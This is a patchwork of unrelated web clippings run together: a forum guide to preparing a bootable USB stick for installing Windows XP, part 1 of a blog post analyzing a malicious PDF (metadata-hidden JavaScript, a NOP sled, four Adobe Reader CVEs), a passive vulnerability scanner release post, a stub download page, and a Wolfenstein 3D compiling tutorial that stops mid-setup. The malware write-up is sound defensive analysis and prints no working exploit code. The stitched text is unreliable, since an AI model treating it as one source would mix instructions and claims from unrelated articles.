The Batch Program USB\_MultiBoot.cmd can prepare a Bootable USB-Stick,  
which can be used to Install XP from USB.  
Install from USB-Drive is of general use, it's convenient and faster than
installing from CD or DVD,  
but is limited to computers that are able to boot from USB, as determined by
BIOS and Motherboard.  
Updating and Changing an USB-stick is also easier than preparing a new
Bootable CD or DVD.  
Install XP from USB is very useful when the computer does not have a optical
drive,  
like e.g. ASUS Eee subnotebook.  
  
Preparing a Bootable USB-Drive with USB\_MultiBoot.cmd Involves:  
  

  * Format USB-stick like a Bootable Harddisk Drive with NTLDR BootSector   
using PeToUSB or HP USB Format Tool

  * Select from the Main Menu of USB\_MultiBoot.cmd  
1 - Give XP Setup Source Folder and give UserData for XP Setup  
2 - Give USB-Drive Target  
3 - Make Bootable USB-Drive with XP Setup Folders

Installing XP from USB requires a Reboot from USB-Drive  
and Select from Boot Menu: 1. Begin TXT Mode Setup Windows XP  
  
\- Download Direct from CD Forum: USB\_MultiBoot\_10.zip  
  
Or from BootLand Forum: USB\_MultiBoot\_10.zip <img src='img/Temp2_4472'
alt='smile.gif' />  
  
Or from Mirror \(Thanks to Siginet\) - USB\_MultiBoot\_10.zip  
  
\- Unpack USB\_MultiBoot.zip to your Harddisk in a simple Path without SPACES.  
  
USB\_MultiBoot.cmd is Vista Compatible, but requires User Account Control OFF.  
In this case a BOOTMGR type BootSector is made when Formatting the USB-Drive.  
Such Bootsector is Detected and Auto Converted by BootSect.exe to  
NTLDR type Bootsector required for booting with boot.ini Menu  
XP as OS is Preferred for Speed of FileCopy to USB \( 10 min instead of 30
minutes for Vista OS \)  
  
The procedure for installing Windows XP from a bootable USB-stick was
developed by  
**ilko\_t , jaclaz , cdob, porear** and **wimb** at MSFN Forum  
  
\- Install XP from USB at MSFN Forum http://www.msfn.org/board/Install-XP-
from-USB-f157.html  
  
\- List of FAQs http://www.msfn.org/board/FAQs-t116766.html  
  
\- More Info See Guide with ScreenShots  
  
\- More Help with Bookmarks is available in the Help\_Info Folder in
USB\_MultiBoot.zip  
  
\- Use of MultiBoot.cmd and everything in this Guide is COMPLETELY **use** at
your own risk.  
  
  
**2\. XP-Source Preparation - \*\*\* BEFORE YOU START \*\*\***  
  
Make sure that your XPSOURCE Folder is located on your Harddisk in a simple
Path without SPACES.  
Copy the Contents of your Windows XP Setup CD to your XPSOURCE Folder on
Harddisk.  
  
Siginet's RyanVM Integrator or nLite can be used to Integrate Windows
UpdatePacks in the XP-Source.  
http://integrator.siginetsoftware.com/index.php?download  
http://www.nliteos.com/  
  
Windows XP UpdatePacks and Addons:  
http://www.ryanvm.net/msfn/  
http://www.ryanvm.net/msfn/updatepack-sp2.html  
http://integrator.siginetsoftware.com/index.php?addons  
http://www.ryanvm.net/forum/  
  
Supports the use of BTS DriverPacks located in OEM Folder on USB-Drive  
http://driverpacks.net/DriverPacks/  
For installing XP on modern systems with SATA Drives it is needed to use
DPsBase.exe  
for Integrating in your XPSOURCE BTS DriverPack Massstorage with TXT Mode
Enabled.  
In that case a lot of Extra RAID SCSI and SATA Drivers \(about 120 extra\) are
Integrated and will appear in the  
XP Setup BootFolder $WIN\_NT$.~BT on USB-Drive and can prevent a lot of XP
Installation Boot Problems.  
First use RyanVM Integrator and then use DPsBase to Improve your XP-Source.  
The program supplies a Customized presetup.cmd and changes the winnt.sif file
for use of DriverPacks.  
  
The Complete XP-Source is Copied by USB\_MultiBoot.cmd to XP LocalSource
Folder $WIN\_NT$.~LS on USB-Drive  
Computation of Estimated XP Folder Size is used to prevent USB-stick overflow  
and includes $WIN\_NT$.~BT + cmpnents + I386 + AMD64 + $OEM$ + OEM Folders.  
  
Excluding LANG and WIN98X Folders from Copying to USB can be Selected  
from USB\_MultiBoot.cmd Main Menu, which can reduce the XP-Source on USB-Drive
by 135 MB.  
Reduction of the XP WINDOWS Folder can be achieved with **nLite**  
but do **NOT select Operating System Options-->Manual Install and Upgrade for
removal**.  
If you do you will get BSOD, error 0x0000006F during Text mode Setup of
Windows XP.  
  
=========================================================================  
  
**3\. Making a Bootable USB-Drive with USB\_MultiBoot.cmd**  
  
\- Remove all other Removable Drives, like USB Backup Harddisks and Memory
Cards  
\- Use USB-sticks with High Read/Write Speeds of about 15 MB/sec  
\- Unpack USB\_MultiBoot.zip to your Harddisk in a simple Path without SPACES.  
  
\- Launch USB\_MultiBoot.cmd and Display the Format Menu  
\- Format the USB-Drive with FAT or NTFS. Note: FAT32 is very SLOW for
installing XP  
  

  * **P\) - PeToUSB - FAT Format **\- Max 2 GB  
To Format USB-Drive : Enable Disk Format with LBA FAT16X  
Do NOT Select "Enable File Copy" of BartPE File Copy Options.  
FAT Format Supports Direct Booting with MS-DOS using MULTI\_CONTENT  
Installing XP from USB takes 30 minutes - Buffalo FireStix 2 GB  
  

  * **H\) - HP USB Disk Storage Format Tool V2.0.6 - NTFS Format **\- use X\_CONTENT  
NTFS Format Supports DOS Boot Floppy Images via GRUB4DOS Menu  
Installing XP from USB takes 16 minutes - Corsair Flash Voyager 4 GB  
Do NOT use the HP Tool for USB-Harddisks having more than 1 Partition  
WARNING - HP Tool Formats whole Disk - Second Partition is Lost  
  

  * **N\) - No Format **\- Use USB-Drive with FAT or NTFS formatted by Windows XP  
Or Update Existing Bootable USB-Drive having NTLDR Bootsector

\- For **USB-Harddisk **use Main Menu Option 0\) to Change from USB-stick to
USB-Harddisk.  
Because this makes use of rdummy.sys and is essential for using USB-Harddisk.  
rdummy.sys makes Fixed USB-Harddisk seen in XP Setup as Removable Device.  
  
\- Select from the Main Menu of USB\_MultiBoot.cmd  
1 - Give XP Setup Source Folder and give UserData for XP Setup  
2 - Give USB-Drive Target  
3 - Make Bootable USB-Drive with XP Setup Folders  
  
| <img src='img/Temp2_4471' width='250' height='127' alt='Attached Image' />  
---  
  
  
  
**4\. XP Setup Parameters in winnt.sif file and $OEM$ folder**  
  
Display and **Edit** of the **8** required parameters for Unattended Setup
allows you  
to give your ProductKey and TimeZone used in the Current\_winnt.sif and copies
your winnt.sif file.  
The Current\_winnt.sif file is auto adjusted for the Installation of XP from
USB and then  
copied by USB\_MultiBoot.cmd to $WIN\_NT$.~BT folder on USB-Drive.  
  
The file useraccounts.cmd with UserName is made in the $OEM$ Folder  
copied to $WIN\_NT$.~LS folder on USB-Drive.  
CMDLINES.TXT is used for making UserAccounts and install of Registry Tweaks at
T-12  
Info see: http://unattended.msfn.org/unattended.xp/  
  
For the Option Edit UserData for XP Setup we have:  
  
A. **Unattended Install **\- UserName = YourName  
in winnt.sif file - unattendswitch="Yes" - UserName is used Automatically  
useraccounts.cmd with UserName is created in $OEM$ Folder copied to USB-drive  
  
B. **Semi-Unattended Install **\- UserName = None  
in winnt.sif file - unattendswitch="No" - UserNames are given Manually at
Windows Welcome Screens  
useraccounts.cmd is Renamed to Inactive txt file in $OEM$ Folder copied to
USB-drive  
  
C. **Undefined Install **\- UserName = Unknown  
No Changes are made in winnt.sif file or $OEM$ folder  
  
In all cases Selecting **Cancel **keeps given Settings for winnt.sif file and
$OEM$ folder Unchanged  
  
Selecting **Unattended **Install in the Editor instead of Cancel will enable
to skip the Welcome Screens  
by automatic adding the unattendswitch="Yes" Setting to the \[Data\] Section
of the Current\_winnt.sif file.  
The UserName given at Edit Screen 8 will not be used in the case of XPSOURCE
made by nLite.  
  
OEM or nLite winnt.sif file is detected in XPSOURCE and Auto Changed for the
Installation of XP from USB.  
In that case All Setup Parameters come from XPSOURCE and therefore Empty
$OEM$\_X Folder is Selected.  
  
Windows XP file **SETUPLDR.BIN **is Renamed to **XPSTP** according to the
5-letter limit requirement  
for making NTFS BootSector Files using **MakeBS3.cmd **of **jaclaz**  
http://www.boot-land.net/forums/?showtopic=2362  
  
In the **Attended** Install all Setup Parameters are given Manually during the
GUI Mode of Setup Windows XP.  
For each XP Source the Program Supports to launch Unattended or Attended
Setup.  
For Attended Setup a second SetupLoader **XATSP** is made ,  
where winnt.sif is Patched as **winat.sif **using gsar.exe  
So the extra Setup Option does not take extra space from the USB-stick.  
Attended Install is always available as Extra Option in the boot.ini Menu.  
  
  
**5\. Installing XP from USB**  
  

  * Remove all other Removable Drives, like USB Backup Harddisks and Memory Cards  
This will enable that your Computer Harddisk in XP Setup gets DriveLetter C

  * Boot with the USB-Drive plugged in and Press \[Delete\] key or F2 to Enter BIOS Setup  
Your BIOS may use a different key for starting BIOS Setup.

  * Change BIOS Boot Priority Settings: \(your USB device is listed as Harddisk\)  
Make First Boot Device Type is Harddisk and give your USB device the First
Priority of Harddisks

  * Boot from USB-Drive and Select 1. Begin TXT Mode Setup Windows XP  
Use Only C: Drive of Computer Harddisk as Partition for Installing Windows XP  
and then Select Quick Format with NTFS FileSystem, XP Install is Automatic  
  
\*\*\*\*\* NEVER UNPLUG USB-Drive \*\*\*\*\* Until After First Logon of
Windows XP  
  

  * New Harddisk and Creating Partitions after Booting from USB-Drive:  
Direct after Deleting and Creating New partitions, Quit XP Setup with F3  
OR Switch OFF your Computer and Boot in any case from USB-Drive again and  
Run 1. TXT Mode Setup again so that DriveLetters get their Correct Value  
So in this case one Boots \*\* TWICE \*\* in the TXT-mode Setup XP  
  

  * USB\_MultiBoot.cmd can make USB-stick to be seen in XP Setup as Boot Drive U:  
In this preferred case the driveletters of Harddisk Partitions and Optical
Drives  
will get there desired normal value.  
Otherwise the USB-stick will get Drive Letter D: and other drives will get
shifted drive letters.  
  
The same shifting of drive letters occurs for Installing from USB-Harddisk,  
for which it is not possible to make it seen as Boot Drive U: by changing
migrate.inf  
After First Logon there is only 1 USB-Harddisk partition visible as a
Removable Drive.  
After Reboot for Second Logon then all partitions of USB-Harddisk will become
visible  
as Fixed Local Drives and the highest partition number of USB-Harddisk will
get DriveLetter D:  
This reversal and use of DriveLetters might be unwanted and consequently  
the use of USB-stick for XP Setup is Preferred  
  

  * NON-STANDARD INSTALLS OF WINDOWS XP AND INSTALL OF WIN2003  
Install of Windows XP from bootable USB-Drive  
next to WINDOWS on the same or on a different partition of the harddisk,  
is possible by proper manually adjustment in advance of the BOOT.INI file on
the USB-Drive.  
  
Adjust BOOT.INI on USB-Drive: \( Or Select Correct boot.ini Using Option B in
Menu Screen \)  
For Install on the Second Partition, change partition\(1\) in partition\(2\)  
For Install Next to WINDOWS, change WINDOWS to  
what will be used as Install FolderName, e.g. WINDOWS.51  
Windows Install Folder Name required according to MS-DOS 8.3 format  
  
So these non-standard installs are still possible,  
but require only small changes in the BOOT.INI on the USB-Drive in advance.  
Otherwise an ERROR Message for Setup of WINDOWS XP: WINDOWS\system32\hal.dll
file missing  
will orccur on Reboot for GUI Mode.

  
**hal.dll ERROR **for Install of XP from USB  
=========================================================================  
In case of **hal.dll **Error on Reboot for GUI-mode of XP Setup:  
The Error means only that in GUI mode the Windows folder is NOT found on the
default location  
which is normally partition\(1\) of your internal harddisk and would need in
**boot.ini **Menu to Select rdisk\(1\)partition\(1\)  
  
The error can be due to a Hidden First Partition \(case of HP Computer\) so
that you Install on partition\(2\)  
  
For your Netbook it can be that you Install on partition\(3\)  
In that case you Select in GUI-mode and on Start of XP the line in **boot.ini
**Menu with HD 1 - Part 3  
  
It is also recommended to remove any Additional USB-drive like USB Backup
Harddisk or External Cardreader  
since these extra USB-drives may interfere in Harddisk numbering and can cause
then also the **hal.dll **Error.  
  
In TXT-mode of XP Setup, where you Select the partition on which you are going
to Install,  
you must count the partition number and use this in your boot.ini Menu on your
USB-stick  
on Reboot for GUI-mode of XP Setup and for Start of XP.  
  
To solve your **hal.dll **Error you need to Change the **boot.ini **file on
your USB-stick.  
It can be handy to make a **boot.ini **with multiple entries like this:  
  

CODE

\[Boot Loader\]  
Timeout=20  
Default=multi\(0\)disk\(0\)rdisk\(1\)partition\(1\)\WINDOWS  
\[Operating Systems\]  
C:\btsec\XPSTP.bs="1. Begin TXT Mode Setup Windows XP, Never unplug USB-Drive
Until Logon"  
multi\(0\)disk\(0\)rdisk\(0\)partition\(1\)\WINDOWS="Continue GUI Setup +
Start XP from HD 0 - Part 1" /FASTDETECT  
multi\(0\)disk\(0\)rdisk\(1\)partition\(1\)\WINDOWS="Continue GUI Setup +
Start XP from HD 1 - Part 1" /FASTDETECT  
multi\(0\)disk\(0\)rdisk\(1\)partition\(2\)\WINDOWS="Continue GUI Setup +
Start XP from HD 1 - Part 2" /FASTDETECT  
multi\(0\)disk\(0\)rdisk\(1\)partition\(3\)\WINDOWS="Continue GUI Setup +
Start XP from HD 1 - Part 3" /FASTDETECT  
multi\(0\)disk\(0\)rdisk\(2\)partition\(1\)\WINDOWS="Continue GUI Setup +
Start XP from HD 2 - Part 1" /FASTDETECT

  
  
Partition Numbering starts with 1  
Harddisk Numbering starts with 0  
On booting from USB-stick it will count in the arcpath as rdisk\(0\) and your
Internal Harddisk will then normally be rdisk\(1\)  
  
As alternative you can try:  
**Install XP from USB AFTER Booting with PE from HDD or USB **  
http://www.boot-land.net/forums/?showtopic=5306  
In this way you are insensitive to the **hal.dll **Error  
Moreover, after booting with LiveXP into PE environment you are able to  
use Disk Manager and can see what is the partitioning of your harddisk and  
see which is the Active Partition e.g. the partition from which the computer
will try to boot.  
Also you can make then appropriate changes using Disk Manager or Acronis Disk
Director available in LiveXP <img src='img/Temp2_4473' alt='wink.gif' />  
=========================================================================  
  
**6\. Post-Install of Drivers and Programs**  
  
The Folder usb\_cfg\_extra provides a script for Windows Post-Install Wizard
\(WPI\) - http://wpiw.net/  
WPI is very handy for the Automatic Install of Programs after Install of XP
from USB.  
  
In WPI script there is the option to run **SFC /purgecache** which deletes the
dll cache  
by deleting the files in Folder C:\WINDOWS\system32\dllcache  
This is a very simple way to reduce the WINDOWS Folder Size by 360 MB  
The Result is a XP WINDOWS Folder Size on Harddisk of only 785 MB inclusive
all Updates.  
  
  
================================================================================  
  
Advanced Use of USB\_MultiBoot.cmd for making MultiBoot USB-Drives  
  
**7\. Adding Extra Sources for Booting with BartPE, UBCD4WIN, Windows PE 2.0
and Vista Setup**  
  
BartPE - http://www.nu2.nu/pebuilder/  
or  
UBCD4Win - http://www.ubcd4win.com/index.htm  
can be added to USB-Drive by Selecting BartPE Source Folder in the Main Menu.
Remove with Cancel.  
  
The Folder usb\_cfg\_extra provides scripts for BartPE Menu  
  
Install of Vista from USB is supported and launched via GRUB4DOS Menu  
http://www.msfn.org/board/vista-t114092.html&st=6  
http://www.msfn.org/board/Install-Vista-fr...6.html&st=2  
For Vista Install from USB, Remove on first Restart your USB-stick.  
  
Overflow Control is used by measuring DiskSize, FreeSize, XP-Source and  
Extra Source Folders using ASP Drive Object and Visual Basic Scripting.  
http://www.w3schools.com/asp/asp\_ref\_drive.asp  
http://www.robvanderwoude.com/index.html  
  
  
**8\. Multiple XP Install from USB and Multiple PE \(BartPE and UBCD4Win\)
Booting from USB**  
  
Multiple XP Install from USB is Supported \(max 9 sources\)  
http://www.msfn.org/board/SOLVED-Install-M...SB-t114543.html  
Run USB\_MultiBoot.cmd again using New XP Source and Empty XX\_CONTENT Source
Folder  
  
Multiple PE \(BartPE and UBCD4Win\) from USB is supported using
Multi\_Partition USB-Drives.  
Multi-Partition an USB-stick after using INSTALL\_DUMMY.cmd from makebt
Folder.  
When dummy.sys is Installed in your OS, then USB-sticks are seen as Fixed
Local Harddisks.  
In that case you can make Multiple Partition USB-sticks with NTFS format,  
allowing to combine BartPE and UBCD4WIN or different Vista Versions x86 and
x64  
http://www.msfn.org/board/Multiple-PE-from....html&st=11  
http://www.911cd.net/forums//index.php?sho...20089&st=24  
Run USB\_MultiBoot.cmd again using New BartPE Source and  
using Empty XX\_CONTENT Source Folder and No Copy of XP Source.  
  
================================================================================  

**Attached File\(s\)**

<img src='img/Temp2_4470' alt='Attached File' /> USB\_MultiBoot\_10.zip \(
1.99MB \) Number of downloads: 18249  

  
  
\--------------------  

Guide MultiBoot USB - Tutorial U-XP-SET \+ Program U-XP-SET  
  
FAQs - Install XP from USB - ScreenShots \+ Program USB\_MultiBoot\_10.zip  
  
BootSector Backup Utility \+ Program MBR-Backup  
  
\--------------------  
**8 user\(s\) said "Thank you\!" to wimb for this fantastic post:**alexn,
amalux, bootcd, Chads, gnikolic, ispy, Nuno Brito, Pacas

# Analyzing PDF Malware - Part 1 - SpiderLabs Anterior

**Created:**| _1/9/2012 3:07:47 PM_  
---|---  
**Updated:**| _1/9/2012 3:07:47 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

### Analyzing PDF Malware - Part 1

**Background**

I’d like to think that security awareness has gotten to the point where the
average end user thinks twice before opening an ‘exe’ file sent to them as an
email attachment. I like to think that. I really do. But when it comes to
opening PDF documents, whether it be an email attachment or their latest
online utility bill, I can’t even begin to convince myself that there is ever
a moment of hesitation. And am I the only one who finds it ironic that
security publications covering recent PDF attacks can often be downloaded in
PDF form? How long would it take to live down being compromised by a document
that is warning users about itself? Maybe it’s just my affinity for self-
referential humor.

A point to note is that the Portable Document Format is already a huge winner
for presenting content for a number of reasons; the proliferation of easily
accessible cross-platform readers, and relatively small file sizes are two
quick obvious ones. Since many attackers tend to be opportunistic, PDF’s
popularity among end users and it’s ability for dynamic action makes it a
natural choice as an attack vector. Attackers go where the victims are, so to
speak. Often times it comes down to a simple numbers game. More users on a
particular platform equals more potential victims to the attacker.

If you pay attention to the news you don’t have to think back too far to
remember various incidents involving malformed PDF documents. From hackers who
leverage malicious PDF documents to gain a foot hold on an internal network of
a major corporation, to reversers taking advantage of a weakness in a
rendering engine to jailbreak their smart phones, PDF’s are being used to
bypass established security protections. How do we defend ourselves against
maliciously crafted PDF’s? There are a variety of methods that can be
employed, but I think the best first move for those with the technical
inclination is to understand the problem at hand by looking at a sample.

In this first of a multi-part writeup we will analyze a sample PDF aptly named
sample1.pdf, and attempt to determine if the file is malicious or not. We will
analyze it using a blend of both static and dynamic methodologies. If we
determine that the file is malicious \(spoiler alert: it is\) we will dissect
the attacks that were employed. We will trace the code of the document through
various rounds of obfuscation, rout out common techniques employed by the
attackers, and identify the vulnerabilities that were targeted.

**Don’t forget…**

First things first. It may seem like it goes without saying, but in your zeal
to dig into the tech, you may forget to check if someone has already
encountered your file and done the heavy lifting for you. Before you even try
opening the file, run a quick MD5 sum and do an online search to see if you
get any hits. If you know that there aren’t any confidentiality issues
regarding your file, you may also want to submit to any of the myriad of
online services. A fairly comprehensive list of online services from anti-
virus scanners to automated sandboxes can be found over at cleanbytes.net. You
may find that your answers are already well documented or easily detected
through automated analysis. If this is your case, “Bob’s your uncle” as they
say. However if you are not able to get a clear answer one way or the other
through your searching, or if your particular file has the potential to
contain sensitive information you may need to take the next step in analysis.

**What would you say “ya do” here?**

Since you are investigating the nature of your file, you will want to use a
few tools to peek inside the file without dynamically executing the contents.
There are a growing number of tools to choose from when analyzing PDF’s. I
will demonstrate a sampling of them throughout the post. To begin with, a
simple strings dump will give us any printable characters in the file:

<img src='img/Temp2_675.png' alt='Strings' />

A quick look at this output gives a bit of helpful information immediately,
namely we find JavaScript content mixed in with common PDF objects. JavaScript
is supported by PDF and is often the workhorse that attackers use to setup and
execute attacks. Many JavaScript obfuscation tricks commonly used in web
browsers can also be used with success in a PDF. In addition to using the
strings command you may also want to use your favorite hex editor to
statically view the contents of the PDF. In some cases, such as with the 010
Editor, there are templates that can be used to do some minimal parsing of the
file’s structure to wrap a bit of context around the printable characters
giving you a sense of the object’s overall structure.

Running a second tool, PDFiD from Didier Stevens confirms what we are seeing
in the previous strings output by displaying the structure of the objects and
actions:

<img src='img/Temp2_678.png' alt='Pdfid3' />

PDFiD shows us that there are three objects, but more importantly it counts
“/JS” and “/Javascript” occurrences which also matches up with what we see in
the strings dump.

A third and final tool we can use to take a static look at our file is
pdfscan.rb from Origami, a Ruby framework used to analyze PDF documents:

<img src='img/Temp2_676.png' alt='OrigamiPDFScan' />

Again we get confirmation with pdfscan’s slightly more verbose layout that
“/JavaScript” is present in our sample1.pdf.

In the past, much of the JavaScript encountered within PDF files was very
straightforward in nature. Today, there is a veritable cornucopia of
obfuscation techniques employed by attackers. In addition to scripting
capabilities of JavaScript, the current PDF specification supports a number of
different encoding types in the form of “Standard Filters”. Described at a
high level, Filters support actions such as data compression, modification of
character representation, and encryption. Filters can be used by attackers to
hide from anti-virus signatures, and create havoc for security analysts trying
to manually untangle the gnarly mess, especially when they are called in
succession or “cascaded”. Didier Stevens has a must-read, albeit old, write-up
covering more of the detailed ways that PDFs can be encoded.

**Get into the light where you belong.**

Luckily there are tools available to help in the extraction of the JavaScript
we noticed in our static analysis. First let’s take a look at the output of
extractjs.rb that has been run against our sample1.pdf. This ruby script is
from same Origami project as pdfscan.rb mentioned earlier:

<img src='img/Temp2_680.png' alt='OrigamiExtractJS' />

All right, now we are getting somewhere\! We’ve extracted the main chunk of
JavaScript from the /JS tag in Object 1, but some key pieces are still missing
from the code. One of the techniques that attackers have adapted over time is
to hide snippets of code within document variables normally used to describe
the PDF itself, such as the document’s title, or subject. These meta-fields
are shown below with the help of yet another command line tool pdf.py from the
jsunpack-n suite of scripts:

<img src='img/Temp2_683.png' alt='Jsunpack-n2' />

We see from the output that Object 3 contains three additional tags:

1\) Producer = substr

2\) Subject = spli

3\) Title = \[data 45194 bytes\]

The “Title” tag actually contains a very large string of data 45,194 bytes
long. We will come back to that later. You may notice that at the end of
pdf.py’s output it says that it wrote JavaScript to ../sample1.pdf.out. If we
view the beginning of that file we see that the script makes a good attempt to
capture those extra Tag values and make them accessible. Very handy.

<img src='img/Temp2_682.png' alt='Jsunpack-n3' />

Once the three document variables from Object 3 have been combined with the
JavaScript we extracted from Object 1, we can trace, de-obfuscate, and
simplify the small amount of code by hand to produce the following readable
output:

<img src='img/Temp2_679.png' alt='1st Stage JS' />

Untangling this code isn’t a required step, but it gives you a more complete
view into what is going on under the hood, and can help prevent missing a
branch of conditional code that might be hiding some unknown functionality.

We can see that the large amount of data stored in the title variable is being
decoded and evaluated. The next step is to execute our code in a controlled
manner to see what the code is doing with that data. There are a couple of
ways to accomplish this. If your preference is for command line tools,
SpiderMonkey is the way to go. Like many of these great analysis tools it
comes pre-compiled on Lenny Zeltser’s REMnux 2 linux distro. If you prefer a
GUI interface for this stage, Malzilla or PDFStreamDumper are both nice visual
solutions. We are going to mix it up a bit and check out one of the GUIs.

<img src='img/Temp2_677.png' alt='Malzilla' />

We have used Malzilla to run our JavaScript \(top pane in image\), which
produces a second stage of JavaScript \(lower pane in image\). Fortunately
this second stage code is much easier to read than the first and only contains
some minor obfuscation. Malzilla conveniently saves this new output to a file
for us. The initial line of the newly produced script is the variable ‘bjsg’
containing escaped shellcode. This will be a primary target for analysis
later. After some beautification, a bit of formatting, and some renaming we
can investigate the rest of the file:

<img src='img/Temp2_681.png' alt='SecondStageCode' />

It is interesting to note that the code attempts to detect the version of the
PDF viewer and the version of the EScript plugin used to execute JavaScript
within the PDF. It then uses that garnered info to specifically target ranges
and combinations of those versions. There are also five additional functions
defined:

1\) function build\_nop\(\)

2\) function collabExploit\(\)

3\) function printf\(\)

4\) function geticon\(\)

5\) function a\(\)

The first function creates a NOP sled. The remaining functions exploit known
vulnerabilities with PDF viewing software:

1\) NOP sled

2\) CVE-2007-5659

3\) CVE-2008-2992

4\) CVE-2009-0927

5\) CVE-2009-4324

At this point our initial suspicions have been confirmed. Our sample1.pdf file
is indeed of a malicious nature. But what is this malicious file attempting to
do on our system after exploiting one of these known vulnerabilities? To find
out that answer we need to investigate the contents of the shellcode we
discovered in our second stage JavaScript, which we will do in the next post
of the multi-part series.

**To be continued…**

Posted by Ryan Merritt on Thursday, 22 September 2011 at 01:30 PM in Incident Response, Security Research | Permalink

# Tenable Network Security: PVS 3.2 Released – Enhanced vulnerability
discovery, real-time forensics and file share and database activity monitoring

**Created:**| _4/22/2010 5:29:00 PM_  
---|---  
**Updated:**| _4/22/2010 5:29:21 PM_  
**Author:**| __  
**Tags:**| _bookmark security tools network-security awesome nessus scan-
monkey_  
  

### PVS 3.2 Released – Enhanced vulnerability discovery, real-time forensics
and file share and database activity monitoring

Tenable Network Security is proud to announce the release of version 3.2 of
the Passive Vulnerability Scanner \(PVS\). This product is a network sniffer
that scans for real-time vulnerability data and transmits it to Tenable’s
Security Center management console along with real-time user and forensic
activity transmitted to Tenable’s Log Correlation Engine \(LCE\). This blog
entry describes many of the new features and enhancements in this release.

**Enhanced Vulnerability Discovery**

PVS 3.2 enables Tenable’s research team to write sophisticated rules that can
track the state of many different types of services and protocols. Building on
the robust vulnerability discovery features of PVS 3.0, this new release
provides enhanced analysis capabilities of web client traffic, web server
traffic, Microsoft file sharing, email, DNS, operating system identification
and much more.

For example, two vulnerabilities normally detected by an active vulnerability
scanner, such asNessus, can now be detected with PVS: insecure usage of the
“VIEWSTATE” hidden form field in web based .NET applications and insecure
Active X components hosted on IIS web servers.

**Real-time File Sharing Monitoring**

A major new feature of PVS 3.2 is the addition of deeper logic to perform
protocol analysis. In the same way that Nessus receives plugin updates, PVS is
continually updated by Tenable’s Research team. Recently our research team has
written plugins for PVS 3.2 that can parse complex file sharing protocols such
as SMB, NFS, HTTP and FTP.

For example, if a host uploads or downloads a file to a Windows network share,
to or from the Internet using web services or over traditional Unix services
such as FTP and NFS, a PVS deployed to watch network traffic can log these
events in real-time. When these logs are sent to the LCE, they are immediately
available for searching, tracking and reporting by user, trending and can
contribute to any type of incident or forensics investigation.

The following is a screen shot of PVS events related to users obtaining files
at a major university over a period of five days:

<img src='img/Temp2_7946.png' alt='100-pvs-file-share-5days-350px' />  

**Database Activity Monitoring**

Tenable products have had the ability to scan databases for vulnerabilities
and configuration issues for a long time. This release of PVS 3.2 now provides
the ability to monitor database activity in real-time. The PVS can now look at
SQL database traffic that has originated from end user or web applications and
send a real-time log to the LCE.

This enables users the ability to search or perform forensic analysis of
database transactions over a long period of time. The databases events
obtained by the PVS can be used for intrusion detection event correlation and
access control analysis for compliance and for anomaly detection.

Since the PVS is passively sniffing between the applications and the SQL
database, there is no impact on system, network or database performance.

Finally, if the database server has not been subject to patch audits or
vulnerability scans, the traffic to and from the server will be used by the
PVS to identify client and server vulnerabilities in real-time.

**Real time Forensics**

**PVS 3.2 includes many new plugins that detect the resources attached to your
network and create logs that can be sent to the LCE in real time. For example,
the screen shot below shows all web user agent strings observed by the PVS for
a single host:**

**<img src='img/Temp2_7947.png' alt='102-web-agent-350px' />****  
**

Data from these plugins centralize many different types of software, operating
systems, web browsers, web browser plugins and media players in one report.
The PVS performs this type of analysis in real-time for thousands of hosts.

**Additional data now available for discovery with this release of PVS
includes:**

  * **Detection of user agent strings associated with known Trojans and malware**
  * **Identification of a host’s NetBIOS and Domain names**
  * **Identification of a host’s DNS name**
  * **Enumeration of files shared via SMB, FTP and NFS**

**In addition to finding vulnerability data in real time, PVS 3.2 can also
report a wide variety of user activities for forensic analysis in real time.
Real time activity can now be sent to the Log Correlation Engine for these
types of network events:**

**Any DNS resolution attempt \- this provides a record of any DNS queries from
your network, even if they are being sent to servers outside of your network.
The LCE provides daily lists of all DNS queries for each host that facilities
analysis of host activities.**

Database SQL queries – after a web based attack, having logs of all SQL
queries can aid in determining the attack vector and source. The LCE can also
use these logs to automatically identify misuse, probes and anomalies.

Encrypted session logging – as the PVS observes network traffic, it tests the
randomness of transmitted content to identify encrypted communications.

File transfers – all files transferred over SMB, HTTP, FTP and NFS are logged
in real time. Having the PVS send these logs to the LCE is invaluable if there
is an attacker or an inside threat, or if you just want to see who is sharing
spreadsheets on the network.

Web activity – the PVS logs all HTTP GET and POST events. These logs can be
used to help identify web-browsing abuse, such as downloading pornography or
botnet activity.

For More Information

If you are interested in upgrading your Security Center to work with passive
vulnerability data or would like to evaluate Tenable’s Unified Security
Monitoring solution, please contact us atsales@tenablesecurity.com.

# Download details: Attack Surface Analyzer - Beta

**Created:**| _1/19/2011 9:30:30 AM_  
---|---  
**Updated:**| _1/19/2011 9:30:59 AM_  
**Author:**| __  
**Tags:**| _attacks software testing Microsoft_  
  

## Attack Surface Analyzer - Beta

### Brief Description

* * *
Analyze changes to Windows Attack Surface

# Compile like it's 1992

**Created:**| _8/11/2014 9:42:31 AM_  
---|---  
**Updated:**| _8/11/2014 9:42:31 AM_  
**Author:**| __  
**Tags:**| _History games_  
  

# Let's Compile like it's 1992

<img src='img/Temp2_1555.png' />

I have been tinkering with the vanilla source code of Wolfenstein 3D from
1992. Even though it is more than 20 years old and has rotten for modern
systems, you can still compile it if you recreate the environment. All you
need is :

  * Wolfenstein 3D source code.
  * DosBox.
  * The Compiler Borland C++ 3.1.
  * Wolfenstein 3D shareware \(for the assets\).

### Setup filesystem

Open a command line and create two folders, one for each DOS drive needed:

[code]

      
       cd ~
       mkdir system
       cd system
       mkdir c
       mkdir a
       cd ~
    
    
     
[/code]

### Download

  * Download Borland 3.1 to `system/a`.
  * Download Wolfenstein 3D source code to `system/c`
  * Download VGA files to `system/c` \(the purpose of those is explained at the bottom of this page.

[code]

        cd system/a
        curl -O http://fabiensanglard.net/Compile_Like_Its_1992/tools/BCPP31.zip
        
    
        cd ../c
        curl -O http://fabiensanglard.net/Compile_Like_Its_1992/tools/wolfsrc.zip
        curl -O http://fabiensanglard.net/Compile_Like_Its_1992/tools/vgafiles.zip
    
    
      
[/code]

Now we have all the files in the filesytem. Just to check, type:

[code]

       cd ..
       find ~/system
    
    
      
[/code]

You should have the following :

[code]

        /Users/fabiensanglard/system
        /Users/fabiensanglard/system/a
        /Users/fabiensanglard/system/a/BCPP31.zip
        /Users/fabiensanglard/system/c
        /Users/fabiensanglard/system/c/vgafiles.zip
        /Users/fabiensanglard/system/c/wolfsrc.zip
    
    
      
[/code]

### Decompress everything

[code]

        cd ~/system/a
        unzip BCPP31.zip
    
        cd ~/system/c
        unzip vgafiles.zip
        unzip wolfsrc.zip
    
    
    
[/code]

### DosBox

